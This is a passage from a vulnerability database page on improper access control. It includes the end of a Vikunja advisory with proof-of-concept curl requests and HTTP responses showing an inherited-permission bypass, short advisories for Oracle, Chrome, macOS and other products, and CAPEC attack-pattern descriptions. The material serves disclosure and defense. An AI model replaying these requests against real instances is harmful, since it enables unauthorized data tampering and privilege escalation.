it:\n\n```bash\n# write op (POST = update); succeeds -\u003e HTTP 200\ncurl -s -o /dev/null -w \u0027%{http_code}\\n\u0027 -X POST http://localhost:3456/api/v1/projects/19 \\\n -H \u0027Content-Type: application/json\u0027 -H \u0027Authorization: Bearer \u003calice-token\u003e\u0027 \\\n -d \u0027{\"title\":\"Q4-Payroll-TAMPERED-BY-ALICE\"}\u0027\n# -\u003e 200\n```\n\n#### Step 5 - CONTROL (proves the operation genuinely requires admin): alice performs the same op on the standalone control project 20, where she has only READ\n\n**curl**\n\n```bash\ncurl -sv -X PUT http://localhost:3456/api/v1/projects/20/users -H \u0027Content-Type: application/json\u0027 \\\n -H \u0027Authorization: Bearer \u003calice-token\u003e\u0027 -d \u0027{\"username\":\"bob\",\"permission\":0}\u0027\n```\n\n**Raw HTTP response**\n\n```http\nHTTP/1.1 403 Forbidden\nCache-Control: no-store\nContent-Type: application/json\nVary: Origin\nX-Request-Id: hBmvxefjkinrsotTcrotKLaMHfoxTzyK\nDate: Mon, 07 Sep 2026 17:39:34 GMT\nContent-Length: 33\n\n{\"code\":0,\"message\":\"Forbidden\"}\n```\n\nThe single-variable differential: alice\u0027s identical READ(0) grant denies the admin operation on a\nstandalone project (403), but the *same* READ(0) grant on a child of a project where she holds ADMIN is\nsilently elevated to ADMIN - the admin op succeeds (201). This isolates the cause to the\ninherited-permission override, not to alice\u0027s explicit grant.\n\n### Impact\n\nThis is a **broken access control / improper privilege management** issue (CWE-269). A project owner who\ngrants a collaborator a high permission on a parent project and then explicitly shares a sensitive\nsub-project with that collaborator at a **lower** permission (e.g. read-only) does **not** get the\nrestriction they configured: the collaborator silently retains the higher inherited permission on the\nsub-project and can modify it, delete it, and re-share it to arbitrary third parties (demonstrated:\ngranting `bob` ADMIN on the read-restricted child). This defeats an explicit, security-relevant\nconfiguration and can expose or allow tampering with data on sub-projects that were meant to be\nrestricted. It is a regression from v2.6.0\u0027s predecessor, which honored the nearest (child) grant. The\nprerequisite is that the attacker already holds a higher permission on an ancestor project; the security\nloss is specifically the inability to enforce a narrower permission on a descendant.",
"id": "GHSA-pjr3-86v4-5p7w",
"modified": "2026-10-28T15:14:55Z",
"published": "2026-10-09T20:57:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-pjr3-86v4-5p7w"
},
{
"type": "WEB",
"url": "https://github.com/go-vikunja/vikunja/commit/890ca5979d0c770bb5d158362797879c115961af"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-vikunja/vikunja"
},
{
"type": "WEB",
"url": "https://vikunja.io/changelog/vikunja-2.7.0-was-released"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0)"
}
GHSA-PJW3-W34W-WR99
Vulnerability from github – Published: 2026-08-18 21:32 – Updated: 2026-08-18 21:32Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: WLS Core Components). Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via RMI to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-60977"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-18T21:16:50Z",
"severity": "CRITICAL"
},
"details": "Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: WLS Core Components). Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via RMI to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).",
"id": "GHSA-pjw3-w34w-wr99",
"modified": "2026-08-18T21:32:08Z",
"published": "2026-08-18T21:32:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60977"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cspuaug2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PJX6-5GP7-GMG5
Vulnerability from github – Published: 2026-07-01 00:34 – Updated: 2026-07-01 15:35Insufficient policy enforcement in StorageAccessAPI in Google Chrome prior to 150.0.7871.47 allowed a remote attacker who had compromised the renderer process to bypass same origin policy via a crafted HTML page. (Chromium security severity: Low)
{
"affected": [],
"aliases": [
"CVE-2026-14156"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-30T23:17:26Z",
"severity": "MODERATE"
},
"details": "Insufficient policy enforcement in StorageAccessAPI in Google Chrome prior to 150.0.7871.47 allowed a remote attacker who had compromised the renderer process to bypass same origin policy via a crafted HTML page. (Chromium security severity: Low)",
"id": "GHSA-pjx6-5gp7-gmg5",
"modified": "2026-07-01T15:35:11Z",
"published": "2026-07-01T00:34:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14156"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/06/stable-channel-update-for-desktop_0175352312.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/518247789"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PM32-P37J-3JF8
Vulnerability from github – Published: 2025-11-04 03:30 – Updated: 2025-12-17 21:30This issue was addressed with additional entitlement checks. This issue is fixed in macOS Sonoma 14.8.2, macOS Sequoia 15.7.2. An app may be able to access user-sensitive data.
{
"affected": [],
"aliases": [
"CVE-2025-43334"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-04T02:15:40Z",
"severity": "MODERATE"
},
"details": "This issue was addressed with additional entitlement checks. This issue is fixed in macOS Sonoma 14.8.2, macOS Sequoia 15.7.2. An app may be able to access user-sensitive data.",
"id": "GHSA-pm32-p37j-3jf8",
"modified": "2025-12-17T21:30:32Z",
"published": "2025-11-04T03:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43334"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/125634"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/125635"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/125636"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-PM55-483Q-6W39
Vulnerability from github – Published: 2026-07-22 00:31 – Updated: 2026-07-22 00:31Vulnerability in the PeopleSoft Enterprise CS Student Records product of Oracle PeopleSoft (component: Research Tracking). The supported version that is affected is 9.2.38. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise CS Student Records. Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise CS Student Records. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-60598"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T22:17:59Z",
"severity": "HIGH"
},
"details": "Vulnerability in the PeopleSoft Enterprise CS Student Records product of Oracle PeopleSoft (component: Research Tracking). The supported version that is affected is 9.2.38. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise CS Student Records. Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise CS Student Records. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).",
"id": "GHSA-pm55-483q-6w39",
"modified": "2026-07-22T00:31:50Z",
"published": "2026-07-22T00:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60598"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-PM7P-JJC6-M4M4
Vulnerability from github – Published: 2025-02-24 00:30 – Updated: 2025-02-24 00:30A vulnerability was found in SourceCodester Best Church Management Software 1.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /admin/app/asset_crud.php. The manipulation of the argument photo1 leads to unrestricted upload. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2025-1598"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-434"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-24T00:15:09Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in SourceCodester Best Church Management Software 1.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /admin/app/asset_crud.php. The manipulation of the argument photo1 leads to unrestricted upload. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-pm7p-jjc6-m4m4",
"modified": "2025-02-24T00:30:55Z",
"published": "2025-02-24T00:30:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1598"
},
{
"type": "WEB",
"url": "https://github.com/xiahao90/CVEproject/blob/main/xiahao.webray.com.cn/best-church-management-software-Arbitrary-File-Upload.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.296593"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.296593"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.497891"
},
{
"type": "WEB",
"url": "https://www.sourcecodester.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-PMC9-X67W-5FV5
Vulnerability from github – Published: 2022-05-13 01:31 – Updated: 2025-04-12 13:01Heap-based buffer overflow in the KeyView PDF filter in IBM Domino 8.5.x before 8.5.3 FP6 IF13 and 9.x before 9.0.1 FP6 allows remote attackers to execute arbitrary code via a crafted PDF document, a different vulnerability than CVE-2016-0277, CVE-2016-0279, and CVE-2016-0301.
{
"affected": [],
"aliases": [
"CVE-2016-0278"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-06-26T14:59:00Z",
"severity": "HIGH"
},
"details": "Heap-based buffer overflow in the KeyView PDF filter in IBM Domino 8.5.x before 8.5.3 FP6 IF13 and 9.x before 9.0.1 FP6 allows remote attackers to execute arbitrary code via a crafted PDF document, a different vulnerability than CVE-2016-0277, CVE-2016-0279, and CVE-2016-0301.",
"id": "GHSA-pmc9-x67w-5fv5",
"modified": "2025-04-12T13:01:27Z",
"published": "2022-05-13T01:31:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-0278"
},
{
"type": "WEB",
"url": "http://www-01.ibm.com/support/docview.wss?uid=swg21983292"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1036091"
},
{
"type": "WEB",
"url": "http://www.talosintelligence.com/reports/TALOS-2016-0090"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-1
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-19: Embedding Scripts within Scripts
An adversary leverages the capability to execute their own script by embedding it within other scripts that the target software is likely to execute due to programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts.
CAPEC-441: Malicious Logic Insertion
An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain.
CAPEC-478: Modification of Windows Service Configuration
An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. The goal of this attack is to execute a malicious binary in place of an existing service.
CAPEC-479: Malicious Root Certificate
An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.
CAPEC-502: Intent Spoof
An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component trusts the intent's action without verififcation, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact.
CAPEC-503: WebView Exposure
An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.
CAPEC-536: Data Injected During Configuration
An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.
CAPEC-546: Incomplete Data Deletion in a Multi-Tenant Environment
An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.
CAPEC-550: Install New Service
When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-552: Install Rootkit
An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.
CAPEC-556: Replace File Extension Handlers
When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.
CAPEC-558: Replace Trusted Executable
An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.
CAPEC-562: Modify Shared File
An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed.
CAPEC-563: Add Malicious File to Shared Webroot
An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.
CAPEC-564: Run Software at Logon
Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.
CAPEC-578: Disable Security Software
An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.